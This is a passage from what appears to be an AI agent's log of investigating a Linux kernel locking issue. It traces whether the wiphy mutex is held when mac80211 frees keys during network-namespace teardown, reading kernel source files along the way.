Okay, so `ieee80211_teardown_sdata` is triggered by `unregister_netdevice_many_notify`. Right, and `unregister_netdevice_many_notify` is called during `cleanup_net`. This is key - the network namespace is being torn down, and as part of that, the netdevice is being unregistered. This is expected. Unregistration, of course, means that the `ndo_uninit`, `priv_destructor`, or `ndo_stop` functions associated with the device *might* be invoked. I need to understand the exact context here.
Let's trace back from `ieee80211_teardown_sdata`. Ah, the stack trace... looks like `ieee80211_free_keys` calls it, which makes sense within the mac80211 framework. Specifically:
```
ieee80211_free_keys+0xcd/0x640 net/mac80211/key.c:1148
ieee80211_teardown_sdata+0x54/0x250 net/mac80211/iface.c:906
unregister_netdevice_many_notify+0x1407/0x2150 net/core/dev.c:12537
```
Okay, so `ieee80211_free_keys` calls `ieee80211_teardown_sdata`, which in turn, is triggered during the netdevice unregistration process. I need to confirm that `unregister_netdevice_many_notify` is functioning as I expect, so I'll check `net/core/dev.c:12537`.
|
| 17/2 |
2026/08/26 09:58 |
tool |
read-file |
0m
Args: map[File:net/core/dev.c FirstLine:12520 LineCount:30]
Results: map[Contents:12520: if (!(dev->rtnl_link_ops && dev->rtnl_link_initializing))
12521: skb = rtmsg_ifinfo_build_skb(RTM_DELLINK, dev, ~0U, 0,
12522: GFP_KERNEL, NULL, 0,
12523: portid, nlh);
12524:
12525: /*
12526: * Flush the unicast and multicast chains
12527: */
12528: dev_uc_flush(dev);
12529: dev_mc_flush(dev);
12530:
12531:
12532: netdev_rss_contexts_free(dev);
12533:
12534: call_netdevice_notifiers(NETDEV_PRE_UNINIT, dev);
12535:
12536: if (dev->netdev_ops->ndo_uninit)
12537: dev->netdev_ops->ndo_uninit(dev);
12538:
12539: mutex_destroy(&dev->ethtool->rss_lock);
12540:
12541: net_shaper_flush_netdev(dev);
12542:
12543: if (skb)
12544: rtmsg_ifinfo_send(skb, dev, GFP_KERNEL, portid, nlh);
12545:
12546: /* Notifier chain MUST detach us all upper devices. */
12547: WARN_ON(netdev_has_any_upper_dev(dev));
12548: WARN_ON(netdev_has_any_lower_dev(dev));
12549:
]
|
| 18/2 |
2026/08/26 09:58 |
llm |
expert |
0m
Model:
Tokens:
input: 19640
output: 36
thoughts: 56
Thoughts: Okay, here's my take on those thoughts, framed as my own mental process, given my expertise:
**Dissecting the MAC80211 Driver Shutdown Sequence**
Alright, I'm tracing the teardown process for a mac80211 device. The first thing that jumps out is that `ieee80211_teardown_sdata` is called as part of `dev->netdev_ops->ndo_uninit(dev)`. That's standard network device shutdown procedure, so it makes perfect sense that we'd have our mac80211-specific cleanup called from there.
My next step is to drill down into the implementation of `ndo_uninit` for mac80211 devices specifically. What's the exact flow and interactions *within* that function? I need to understand how `ieee80211_teardown_sdata` fits into the broader uninitialization context. Is it the very last thing, or are there other mac80211-specific steps performed before or after? Are there any potential race conditions to consider, given the network device teardown and the wireless specifics? I know the driver pretty well, and so I am immediately looking for potential locking issues, deferred work, or any other concurrency considerations in the `ndo_uninit` function. I'll need to pay close attention to resource cleanup and potential memory leaks during this shutdown phase. This is where the devil often lives...right at the end.
|
| 19/2 |
2026/08/26 09:59 |
tool |
grepper |
0m
Args: map[Expression:\.ndo_uninit.*= PathPrefix:net/mac80211/]
Results: map[Output:net/mac80211/iface.c=941=static const struct net_device_ops ieee80211_dataif_ops = {
--
net/mac80211/iface.c-943- .ndo_stop = ieee80211_stop,
net/mac80211/iface.c:944: .ndo_uninit = ieee80211_uninit,
net/mac80211/iface.c-945- .ndo_start_xmit = ieee80211_subif_start_xmit,
--
net/mac80211/iface.c=979=static const struct net_device_ops ieee80211_monitorif_ops = {
--
net/mac80211/iface.c-981- .ndo_stop = ieee80211_stop,
net/mac80211/iface.c:982: .ndo_uninit = ieee80211_uninit,
net/mac80211/iface.c-983- .ndo_start_xmit = ieee80211_monitor_start_xmit,
--
net/mac80211/iface.c=1047=static const struct net_device_ops ieee80211_dataif_8023_ops = {
--
net/mac80211/iface.c-1049- .ndo_stop = ieee80211_stop,
net/mac80211/iface.c:1050: .ndo_uninit = ieee80211_uninit,
net/mac80211/iface.c-1051- .ndo_start_xmit = ieee80211_subif_start_xmit_8023,
]
|
| 20/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 20571
output: 41
thoughts: 32
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Diving into the 802.11 Driver De-Initialization**
Alright, so the brain's saying "Let's dig into the `ieee80211_uninit` function." Ah, yes, that's in `net/mac80211/iface.c`. This is where the magic happens β or, rather, *un*happens β when a wireless interface is being shut down or unloaded. This is critical. We're talking about gracefully releasing all the resources, clearing out the state, and making sure we don't leave any dangling pointers or memory leaks. We want a clean shutdown to prevent future issues. Let's see how they're handling that. Are they taking care of all the necessary steps: freeing the skbs, unregistering the workqueues, destroying the queues and sockets, unregistering netdev, and releasing all associated memory? I hope they've got this right; a mismanaged shutdown here can cause serious instability. Okay, let's see what's happening.
|
| 21/2 |
2026/08/26 09:59 |
tool |
read-file |
0m
Args: map[File:net/mac80211/iface.c FirstLine:920 LineCount:20]
Results: map[Contents: 920: &sdata->vif.cfg.nan_sched;
921:
922: for (int i = 0; i < ARRAY_SIZE(nan_sched->channels); i++)
923: WARN_ON(nan_sched->channels[i].chanreq.oper.chan);
924: }
925: }
926:
927: static void ieee80211_uninit(struct net_device *dev)
928: {
929: ieee80211_teardown_sdata(IEEE80211_DEV_TO_SUB_IF(dev));
930: }
931:
932: static int ieee80211_netdev_setup_tc(struct net_device *dev,
933: enum tc_setup_type type, void *type_data)
934: {
935: struct ieee80211_sub_if_data *sdata = IEEE80211_DEV_TO_SUB_IF(dev);
936: struct ieee80211_local *local = sdata->local;
937:
938: return drv_net_setup_tc(local, sdata, dev, type, type_data);
939: }
]
|
| 22/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 21270
output: 36
thoughts: 321
Thoughts: **Analyzing the Call Stack and Potential Race Conditions in mac80211 Uninitialization**
Okay, so I'm looking at `ieee80211_uninit` and its call to `ieee80211_teardown_sdata`. My immediate concern is the locking. Does `ieee80211_uninit` actually hold `wiphy->mtx`? Typically, `wiphy->mtx` is managed by `cfg80211` when it's calling into mac80211, or by mac80211 itself internally. The tricky part here is that `ieee80211_uninit` gets called from `unregister_netdevice_many_notify`, which, in turn, is triggered by `cleanup_net` when a network namespace is destroyed. When a netns goes away, it naturally unregisters all the associated network devices.
Now, `cleanup_net` *does* hold `rtnl_lock()`. But it *doesn't* hold `wiphy->mtx`, and that's the crux of my concern. Is that locking on `wiphy->mtx` actually *required* during `ieee80211_uninit`? This feels like a potential oversight.
I need to see if this oversight presents other bugs. If `wiphy->mtx` isn't held, then `wiphy_delayed_work_cancel` gets called, which itself calls `timer_delete_sync` and `wiphy_work_cancel`. Now, `wiphy_work_cancel` is responsible for canceling the work, but without the lock, there's a serious potential for a race condition here. I must examine `wiphy_work_cancel` very carefully.
|
| 23/2 |
2026/08/26 09:59 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1920 LineCount:20]
Results: map[Contents:1920: spin_lock_irqsave(&rdev->wiphy_work_lock, flags);
1921: run = !work || !list_empty(&work->entry);
1922: spin_unlock_irqrestore(&rdev->wiphy_work_lock, flags);
1923:
1924: if (run)
1925: cfg80211_process_wiphy_works(rdev, work);
1926: }
1927: EXPORT_SYMBOL_GPL(wiphy_work_flush);
1928:
1929: void wiphy_delayed_work_timer(struct timer_list *t)
1930: {
1931: struct wiphy_delayed_work *dwork = timer_container_of(dwork, t, timer);
1932:
1933: wiphy_work_queue(dwork->wiphy, &dwork->work);
1934: }
1935: EXPORT_SYMBOL(wiphy_delayed_work_timer);
1936:
1937: void wiphy_delayed_work_queue(struct wiphy *wiphy,
1938: struct wiphy_delayed_work *dwork,
1939: unsigned long delay)
]
|
| 24/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 22371
output: 34
thoughts: 22
Thoughts: Here's a summary of my thought process, as requested:
**Diving into `wiphy_work_cancel`**
Okay, let's get down to brass tacks. I'm going to dig into the `wiphy_work_cancel` function located in `net/wireless/core.c`. My immediate goal is to understand how this function operates. I know it's a key part of the wireless subsystem, and based on the name, I'm expecting it to handle the cancellation of work scheduled related to a wireless phy. I need to understand the underlying mechanisms, the data structures it manipulates, and particularly, the conditions under which this cancellation is performed. Is it a graceful shutdown, an error recovery, or something else entirely? I need to look at its interactions with other functions and understand the timing aspects. I will trace the call flow and understand its design choices. I anticipate looking for potential race conditions or locking issues that could arise when cancelling asynchronous work. Time to get my hands dirty.
|
| 25/2 |
2026/08/26 09:59 |
tool |
grepper |
0m
Args: map[Expression:void wiphy_work_cancel PathPrefix:net/wireless/core.c]
Results: map[Output:net/wireless/core.c=1894=EXPORT_SYMBOL_GPL(wiphy_work_queue);
net/wireless/core.c-1895-
net/wireless/core.c:1896:void wiphy_work_cancel(struct wiphy *wiphy, struct wiphy_work *work)
net/wireless/core.c-1897-{
]
|
| 26/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 22744
output: 36
thoughts: 0
|
| 27/2 |
2026/08/26 09:59 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1896 LineCount:20]
Results: map[Contents:1896: void wiphy_work_cancel(struct wiphy *wiphy, struct wiphy_work *work)
1897: {
1898: struct cfg80211_registered_device *rdev = wiphy_to_rdev(wiphy);
1899: unsigned long flags;
1900:
1901: lockdep_assert_held(&wiphy->mtx);
1902:
1903: trace_wiphy_work_cancel(wiphy, work);
1904:
1905: spin_lock_irqsave(&rdev->wiphy_work_lock, flags);
1906: if (!list_empty(&work->entry))
1907: list_del_init(&work->entry);
1908: spin_unlock_irqrestore(&rdev->wiphy_work_lock, flags);
1909: }
1910: EXPORT_SYMBOL_GPL(wiphy_work_cancel);
1911:
1912: void wiphy_work_flush(struct wiphy *wiphy, struct wiphy_work *work)
1913: {
1914: struct cfg80211_registered_device *rdev = wiphy_to_rdev(wiphy);
1915: unsigned long flags;
]
|
| 28/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 23143
output: 41
thoughts: 95
Thoughts: Okay, here's my take on those thoughts, framed as my own internal analysis:
**Analyzing Potential Locking Issues in Wireless Driver Code**
Right, so I'm looking at this `wiphy_work_cancel` function. It's got `lockdep_assert_held(&wiphy->mtx)`, which is good, that's what I expect. But then it uses `spin_lock_irqsave(&rdev->wiphy_work_lock, flags)` to guard access to the list. That makes the list operation safe independently, even if `wiphy->mtx` isn't held, which is a key point, especially in multithreaded environments. Hmm, now I'm thinking, what about `ieee80211_free_keys_iface`? Does it have similar protection, or is that a potential area for race conditions or deadlocks? I need to check how it handles locking to be sure. It's time to dive into that function's implementation and see if it's following this same principle. Got to be thorough and consider all the possibilities.
|
| 29/2 |
2026/08/26 09:59 |
tool |
read-file |
0m
Args: map[File:net/mac80211/key.c FirstLine:1120 LineCount:20]
Results: map[Contents:1120: continue;
1121: ieee80211_key_replace(key->sdata, link, key->sta,
1122: key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE,
1123: key, NULL);
1124: list_add_tail(&key->list, keys);
1125: }
1126: }
1127:
1128: void ieee80211_free_key_list(struct ieee80211_local *local,
1129: struct list_head *keys)
1130: {
1131: struct ieee80211_key *key, *tmp;
1132:
1133: lockdep_assert_wiphy(local->hw.wiphy);
1134:
1135: list_for_each_entry_safe(key, tmp, keys, list)
1136: __ieee80211_key_destroy(key, false);
1137: }
1138:
1139: void ieee80211_free_keys(struct ieee80211_sub_if_data *sdata,
]
|
| 30/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 23870
output: 44
thoughts: 65
Thoughts: Here's my summary, as though I were thinking through this:
**Investigating Potential Locking Issues in Key Handling**
Okay, so I'm looking at `ieee80211_free_keys_iface`. This function iterates through `sdata->keys` β the key structure associated with a particular station β and, for each key, it calls `ieee80211_key_replace`. Nothing immediately jumps out, but I need to be careful with locking. My gut tells me something *might* need a closer look.
The real question I have right now is: does `ieee80211_key_replace` potentially interact with the `wiphy->mtx` mutex? If so, this could be a point of contention. I need to refresh my memory of how this locking is used across the various wireless stack components, and determine whether the calls within the loop are safe, or if additional locking is required to prevent race conditions. The structure of the code seems simple enough, but wireless is often where the tricky concurrency bugs reside.
|
| 31/2 |
2026/08/26 09:59 |
tool |
grepper |
0m
Error:
Args: map[Expression:void ieee80211_key_replace PathPrefix:net/mac80211/key.c]
Results:
|
| 32/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 24221
output: 43
thoughts: 0
|
| 33/2 |
2026/08/26 09:59 |
tool |
grepper |
0m
Args: map[Expression:ieee80211_key_replace PathPrefix:net/mac80211/key.c]
Results: map[Output:net/mac80211/key.c=432=void ieee80211_set_default_beacon_key(struct ieee80211_link_data *link,
--
net/mac80211/key.c-439-
net/mac80211/key.c:440:static int ieee80211_key_replace(struct ieee80211_sub_if_data *sdata,
net/mac80211/key.c-441- struct ieee80211_link_data *link,
--
net/mac80211/key.c=846=int ieee80211_key_link(struct ieee80211_key *key,
--
net/mac80211/key.c-942-
net/mac80211/key.c:943: ret = ieee80211_key_replace(sdata, link, sta, pairwise, old_key, key);
net/mac80211/key.c-944-
--
net/mac80211/key.c=959=void ieee80211_key_free(struct ieee80211_key *key, bool delay_tailroom)
--
net/mac80211/key.c-967- if (key->sdata)
net/mac80211/key.c:968: ieee80211_key_replace(key->sdata, NULL, key->sta,
net/mac80211/key.c-969- key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE,
--
net/mac80211/key.c=1087=static void ieee80211_free_keys_iface(struct ieee80211_sub_if_data *sdata,
--
net/mac80211/key.c-1099- list_for_each_entry_safe(key, tmp, &sdata->key_list, list) {
net/mac80211/key.c:1100: ieee80211_key_replace(key->sdata, NULL, key->sta,
net/mac80211/key.c-1101- key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE,
--
net/mac80211/key.c=1109=void ieee80211_remove_link_keys(struct ieee80211_link_data *link,
--
net/mac80211/key.c-1120- continue;
net/mac80211/key.c:1121: ieee80211_key_replace(key->sdata, link, key->sta,
net/mac80211/key.c-1122- key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE,
--
net/mac80211/key.c=1186=void ieee80211_free_sta_keys(struct ieee80211_local *local,
--
net/mac80211/key.c-1197- continue;
net/mac80211/key.c:1198: ieee80211_key_replace(key->sdata, NULL, key->sta,
net/mac80211/key.c-1199- key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE,
--
net/mac80211/key.c-1208- continue;
net/mac80211/key.c:1209: ieee80211_key_replace(key->sdata, NULL, key->sta,
net/mac80211/key.c-1210- key->conf.flags & IEEE80211_KEY_FLAG_PAIRWISE,
]
|
| 34/2 |
2026/08/26 09:59 |
llm |
expert |
0m
Model:
Tokens:
input: 25335
output: 40
thoughts: 17
Thoughts: Okay, let's dive into this. Here's my take on `ieee80211_key_replace`, thinking through it as if it's currently on my mind:
**Analyzing `ieee80211_key_replace`**
Alright, `ieee80211_key_replace`. Immediately, I'm thinking, "Key replacement, eh? Within the 802.11 framework." So, this function is central to handling key management in wireless networks, specifically replacing a pre-existing cryptographic key. Given its name, I'm assuming it's part of the broader driver's responsibility. I'm immediately running through the potential implications - what exactly needs replacement: a pairwise key, a group key, what type of security protocol is in play (WPA, WPA2, WEP, etc.)? Are there multiple security protocols supported?
My focus is on the impact and implications. I am immediately considering, what is the impact on associated stations? Are we talking about a simple key rotation, or does this potentially require re-authentication or re-association for client stations? This will inform how the replacement is implemented.
I'm thinking about the arguments. What information does it take? Probably a pointer to a struct representing the key itself, plus maybe information about the context of the replacement, such as the interface or station associated with the key. What is going to be updated? The key itself, along with related fields such as the key ID, the algorithm used, and of course, the actual cryptographic material. What about counters or sequence numbers? Are these keys associated with counters? Are these replaced at the same time?
Furthermore, I have to ensure that all references to the old key are safely and atomically updated to reference the new one. This includes potentially updating internal data structures within the driver, and notifying the hardware (the radio) about the new key. I'm imagining a potential race condition here, where a frame might be in the process of being encrypted or decrypted with the *old* key while the replacement is taking place. This is a critical area, and I'm instantly considering synchronization primitives like spinlocks or mutexes.
Also, what happens if the replacement fails? Are we talking about a rollback mechanism? Or does the failure propagate up the stack, potentially leading to a disconnection? Error handling is key, no pun intended. Proper error codes and logging are also imperative, to allow for the debugging of these often obscure issues.
So, in essence, I'm looking at a critical function that has to do key management securely and reliably, and also potentially deal with state transition, and ensure that the process is robust against potential errors. I'm imagining this touches multiple layers of the 802.11 stack. Let's see how it is actually implemented.
|
| 35/2 |
2026/08/26 10:00 |
tool |
read-file |
0m
Args: map[File:net/mac80211/key.c FirstLine:440 LineCount:40]
Results: map[Contents: 440: static int ieee80211_key_replace(struct ieee80211_sub_if_data *sdata,
441: struct ieee80211_link_data *link,
442: struct sta_info *sta,
443: bool pairwise,
444: struct ieee80211_key *old,
445: struct ieee80211_key *new)
446: {
447: struct link_sta_info *link_sta = sta ? &sta->deflink : NULL;
448: int link_id;
449: int idx;
450: int ret = 0;
451: bool defunikey, defmultikey, defmgmtkey, defbeaconkey;
452: bool is_wep;
453:
454: lockdep_assert_wiphy(sdata->local->hw.wiphy);
455:
456: /* caller must provide at least one old/new */
457: if (WARN_ON(!new && !old))
458: return 0;
459:
460: if (new) {
461: idx = new->conf.keyidx;
462: is_wep = new->conf.cipher == WLAN_CIPHER_SUITE_WEP40 ||
463: new->conf.cipher == WLAN_CIPHER_SUITE_WEP104;
464: link_id = new->conf.link_id;
465: } else {
466: idx = old->conf.keyidx;
467: is_wep = old->conf.cipher == WLAN_CIPHER_SUITE_WEP40 ||
468: old->conf.cipher == WLAN_CIPHER_SUITE_WEP104;
469: link_id = old->conf.link_id;
470: }
471:
472: if (WARN(old && old->conf.link_id != link_id,
473: "old link ID %d doesn't match new link ID %d\n",
474: old->conf.link_id, link_id))
475: return -EINVAL;
476:
477: if (link_id >= 0) {
478: if (!link) {
479: link = sdata_dereference(sdata->link[link_id], sdata);
]
|
| 36/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 26692
output: 37
thoughts: 439
Thoughts: **Analyzing a Potential Race Condition in Wireless Subsystem Teardown**
Okay, so I'm looking at this code and I see `lockdep_assert_wiphy(sdata->local->hw.wiphy);` within `ieee80211_free_keys`. This means `ieee80211_free_keys` expects `wiphy->mtx` to be held when it's called. The problem is, this function is being called from `ieee80211_teardown_sdata`, which in turn, is called from `ieee80211_uninit`. Now, the critical question is, is `wiphy->mtx` actually held when `ieee80211_uninit` is invoked? I need to verify this assumption. I'm going to scan the codebase to see if there are other call sites for `ieee80211_uninit` or if `wiphy->mtx` is held anywhere else during this process.
Wait, looking at the reproducer steps, the situation is:
1. A hwsim radio is created in init_net.
2. A second interface wlan_test1 is created on the same radio.
3. An altname is added to wlan_test1.
4. The wiphy is moved to a new netns (netns B).
5. A dummy interface is created in init_net and the SAME altname is added to it.
6. netns B is destroyed.
7. The hwsim radio is deleted.
So, when netns B is destroyed, `cleanup_net` is called, which unregisters all netdevices within netns B. This definitely includes `wlan0` and `wlan_test1`, since the wiphy and associated interfaces were moved to netns B. When a wiphy moves to a new netns, everything attached to it goes too. But, when netns B is destroyed, `cleanup_net` handles their unregistration. The thing is, `cleanup_net` *only* holds `rtnl_lock()`. It doesn't hold `wiphy->mtx`. This is where I see the potential problem. Is `wiphy->mtx` *supposed* to be held during `ndo_uninit`? This is a crucial detail I need to confirm. My next step is to examine `cfg80211_netdev_notifier_call` in `net/wireless/core.c` to see if there's any relevant locking or synchronization logic there.
|
| 37/2 |
2026/08/26 10:00 |
tool |
grepper |
0m
Args: map[Expression:cfg80211_netdev_notifier_call PathPrefix:net/wireless/]
Results: map[Output:net/wireless/core.c=1705=EXPORT_SYMBOL(cfg80211_register_netdevice);
net/wireless/core.c-1706-
net/wireless/core.c:1707:static int cfg80211_netdev_notifier_call(struct notifier_block *nb,
net/wireless/core.c-1708- unsigned long state, void *ptr)
--
net/wireless/core.c=1860=static struct notifier_block cfg80211_netdev_notifier = {
net/wireless/core.c:1861: .notifier_call = cfg80211_netdev_notifier_call,
net/wireless/core.c-1862-};
]
|
| 38/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 27935
output: 36
thoughts: 19
Thoughts: Okay, let's dive into `cfg80211_netdev_notifier_call`. I know this one, it's a critical piece within the wireless networking stack, right? It's the point where changes in network device state are... well, notified to cfg80211. This is where the magic of integrating network device events with the wireless infrastructure happens.
I'm betting it handles a whole bunch of network device events β probably things like device addition, removal, link state changes (up/down), perhaps even address configuration changes. Given my expertise, I'm expecting this function to perform a dispatch, based on the `net_device_notifier_block` structure it's called with. It has to. Otherwise, how does it know *what* to do based on the *event*?
I'm thinking there's a switch or a series of conditional statements inside, checking the `notifier_call_data->event` field. That event code will dictate which cfg80211-related handler function will be invoked. I'd wager it's got error handling in there somewhere. It should include some sanity checks to prevent problems related to bad pointers or invalid states in the `net_device` struct.
Furthermore, I expect some sort of locking mechanism. This is shared resource territory; we're dealing with concurrent access from multiple processes or threads, likely. There needs to be protection of the data structures and state. A spinlock or a mutex... that seems likely. I'm really curious to see what synchronization primitives they've used. I hope it's well-designed and avoids any nasty deadlocks or race conditions. Knowing the kernel, a careful look is in order.
Finally, I'm especially keen to see how they handle errors. Does it log the problem? Does it potentially cause a netdev stop, or does it try to recover gracefully? This code is critical for reliability, and it's essential that this module functions correctly.
|
| 39/2 |
2026/08/26 10:00 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1707 LineCount:40]
Results: map[Contents:1707: static int cfg80211_netdev_notifier_call(struct notifier_block *nb,
1708: unsigned long state, void *ptr)
1709: {
1710: struct net_device *dev = netdev_notifier_info_to_dev(ptr);
1711: struct wireless_dev *wdev = dev->ieee80211_ptr;
1712: struct cfg80211_registered_device *rdev;
1713: struct cfg80211_sched_scan_request *pos, *tmp;
1714:
1715: if (!wdev)
1716: return NOTIFY_DONE;
1717:
1718: rdev = wiphy_to_rdev(wdev->wiphy);
1719:
1720: WARN_ON(wdev->iftype == NL80211_IFTYPE_UNSPECIFIED);
1721:
1722: switch (state) {
1723: case NETDEV_POST_INIT:
1724: SET_NETDEV_DEVTYPE(dev, &wiphy_type);
1725: wdev->netdev = dev;
1726: /* can only change netns with wiphy */
1727: dev->netns_immutable = true;
1728:
1729: cfg80211_init_wdev(wdev);
1730: break;
1731: case NETDEV_REGISTER:
1732: if (!wdev->registered) {
1733: guard(wiphy)(&rdev->wiphy);
1734:
1735: cfg80211_register_wdev(rdev, wdev);
1736: }
1737: break;
1738: case NETDEV_UNREGISTER:
1739: /*
1740: * It is possible to get NETDEV_UNREGISTER multiple times,
1741: * so check wdev->registered.
1742: */
1743: if (wdev->registered && !wdev->registering) {
1744: guard(wiphy)(&rdev->wiphy);
1745:
1746: _cfg80211_unregister_wdev(wdev, false);
]
|
| 40/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 29055
output: 37
thoughts: 119
Thoughts: **My Analysis of Network Device Unregistration**
Okay, so I'm digging into the network device unregistration process, specifically focusing on how it relates to wireless devices. I see that within the `NETDEV_UNREGISTER` event, there's a critical function call: `guard(wiphy)(&rdev->wiphy);` followed by `_cfg80211_unregister_wdev(wdev, false);`. This is where the wireless device's registration gets undone.
Now, my initial thought is that `NETDEV_UNREGISTER` is triggered from `unregister_netdevice_many_notify`. That all seems logical. However, I need to confirm something I'm reasonably certain of: isn't `ndo_uninit` (the network device's uninitialization) called from `NETDEV_PRE_UNINIT`, or something similar? My understanding is that there's a pre-uninit stage. It's crucial to understand the *order* of these events. I need to be absolutely sure about the event sequencing.
Just to be 100% certain, I'm going to re-examine the `net/core/dev.c` file, specifically around line 12537. I need to refresh my memory and verify the exact order in which these events are triggered, to solidify the process in my mind. Sequencing is key here.
|
| 41/2 |
2026/08/26 10:00 |
tool |
read-file |
0m
Args: map[File:net/core/dev.c FirstLine:12520 LineCount:30]
Results: map[Contents:12520: if (!(dev->rtnl_link_ops && dev->rtnl_link_initializing))
12521: skb = rtmsg_ifinfo_build_skb(RTM_DELLINK, dev, ~0U, 0,
12522: GFP_KERNEL, NULL, 0,
12523: portid, nlh);
12524:
12525: /*
12526: * Flush the unicast and multicast chains
12527: */
12528: dev_uc_flush(dev);
12529: dev_mc_flush(dev);
12530:
12531:
12532: netdev_rss_contexts_free(dev);
12533:
12534: call_netdevice_notifiers(NETDEV_PRE_UNINIT, dev);
12535:
12536: if (dev->netdev_ops->ndo_uninit)
12537: dev->netdev_ops->ndo_uninit(dev);
12538:
12539: mutex_destroy(&dev->ethtool->rss_lock);
12540:
12541: net_shaper_flush_netdev(dev);
12542:
12543: if (skb)
12544: rtmsg_ifinfo_send(skb, dev, GFP_KERNEL, portid, nlh);
12545:
12546: /* Notifier chain MUST detach us all upper devices. */
12547: WARN_ON(netdev_has_any_upper_dev(dev));
12548: WARN_ON(netdev_has_any_lower_dev(dev));
12549:
]
|
| 42/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 30012
output: 37
thoughts: 61
Thoughts: Okay, here's my interpretation of those thoughts, presented as my own mental process, with the bolded header as requested:
**Navigating the Netdev Unregistration Sequence**
Right, let me see... It looks like `ndo_uninit` gets called *later* in the uninitialization process. Specifically, after `NETDEV_PRE_UNINIT`. Hmm, interesting. But hold on, I remember seeing `NETDEV_UNREGISTER` being triggered much earlier. Now where did I see that? Ah yes, `unregister_netdevice_many_notify`. I should really go back and make sure I understand the precise order of operations in `unregister_netdevice_many_notify`, because it's crucial to understand the lifecycle. I need to make sure I fully grasp how things are being torn down.
|
| 43/2 |
2026/08/26 10:00 |
tool |
read-file |
0m
Args: map[File:net/core/dev.c FirstLine:12480 LineCount:40]
Results: map[Contents:12480: }
12481: netif_close_many_and_unlock(&close_head);
12482: /* ... now go over the rest. */
12483: list_for_each_entry(dev, head, unreg_list) {
12484: if (!netdev_need_ops_lock(dev))
12485: list_add_tail(&dev->close_list, &close_head);
12486: }
12487: netif_close_many(&close_head, true);
12488:
12489: list_for_each_entry(dev, head, unreg_list) {
12490: /* And unlink it from device chain. */
12491: unlist_netdevice(dev);
12492: netdev_lock(dev);
12493: WRITE_ONCE(dev->reg_state, NETREG_UNREGISTERING);
12494: netdev_unlock(dev);
12495: }
12496: flush_all_backlogs();
12497:
12498: synchronize_net();
12499:
12500: list_for_each_entry(dev, head, unreg_list) {
12501: struct sk_buff *skb = NULL;
12502:
12503: /* Shutdown queueing discipline. */
12504: netdev_lock_ops(dev);
12505: dev_shutdown(dev);
12506: dev_tcx_uninstall(dev);
12507: dev_xdp_uninstall(dev);
12508: dev_memory_provider_uninstall(dev);
12509: netdev_work_cancel_all(dev);
12510: netdev_unlock_ops(dev);
12511: bpf_dev_bound_netdev_unregister(dev);
12512:
12513: netdev_offload_xstats_disable_all(dev);
12514:
12515: /* Notify protocols, that we are about to destroy
12516: * this device. They should clean all the things.
12517: */
12518: call_netdevice_notifiers(NETDEV_UNREGISTER, dev);
12519:
]
|
| 44/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 30946
output: 40
thoughts: 327
Thoughts: **My Analysis of the Wireless Device Unregistration Sequence**
Okay, so I'm tracing the unregistration process of a network device, and I see `NETDEV_UNREGISTER` is the first call. That triggers a cascade through `cfg80211_netdev_notifier_call`, which grabs `wiphy->mtx` and then heads into `_cfg80211_unregister_wdev`. Standard stuff, so far.
Then, we hit `ndo_uninit`. This is where it gets interesting because it leads to `ieee80211_uninit`, which then drops into `ieee80211_teardown_sdata`, and finally lands on `ieee80211_free_keys`. And here's the rub: `ieee80211_free_keys` *asserts* that `wiphy->mtx` is held. But wait a second, *it shouldn't be held* during `ndo_uninit`! Something seems off here.
Why is this assertion in place? I need to dig deeper. Okay, `ieee80211_free_keys` calls `wiphy_delayed_work_cancel` and `ieee80211_key_replace`. And both of *those* also assert `wiphy->mtx` is held. This is the root of the problem.
The big question is, does this missing lock lead to a real bug? Let's break it down. `wiphy_delayed_work_cancel` is doing `timer_delete_sync` and `wiphy_work_cancel`. Now, `wiphy_work_cancel` does acquire `rdev->wiphy_work_lock` spinlock, which I think means it's safe. But what about `ieee80211_key_replace`? That's the part that's still concerning. I need to re-examine the exact implementation of `ieee80211_key_replace` and how it interacts with the wiphy lock. I'll need to double check the locking there, to confirm there is no actual issue.
|
| 45/2 |
2026/08/26 10:00 |
tool |
read-file |
0m
Args: map[File:net/mac80211/key.c FirstLine:470 LineCount:40]
Results: map[Contents: 470: }
471:
472: if (WARN(old && old->conf.link_id != link_id,
473: "old link ID %d doesn't match new link ID %d\n",
474: old->conf.link_id, link_id))
475: return -EINVAL;
476:
477: if (link_id >= 0) {
478: if (!link) {
479: link = sdata_dereference(sdata->link[link_id], sdata);
480: if (!link)
481: return -ENOLINK;
482: }
483:
484: if (sta) {
485: link_sta = rcu_dereference_protected(sta->link[link_id],
486: lockdep_is_held(&sta->local->hw.wiphy->mtx));
487: if (!link_sta)
488: return -ENOLINK;
489: }
490: } else {
491: link = &sdata->deflink;
492: }
493:
494: if ((is_wep || pairwise) && idx >= NUM_DEFAULT_KEYS)
495: return -EINVAL;
496:
497: WARN_ON(new && old && new->conf.keyidx != old->conf.keyidx);
498:
499: if (new && sta && pairwise) {
500: /* Unicast rekey needs special handling. With Extended Key ID
501: * old is still NULL for the first rekey.
502: */
503: ieee80211_pairwise_rekey(old, new);
504: }
505:
506: if (old) {
507: if (old->flags & KEY_FLAG_UPLOADED_TO_HARDWARE) {
508: ieee80211_key_disable_hw_accel(old);
509:
]
|
| 46/2 |
2026/08/26 10:00 |
llm |
expert |
0m
Model:
Tokens:
input: 32391
output: 36
thoughts: 516
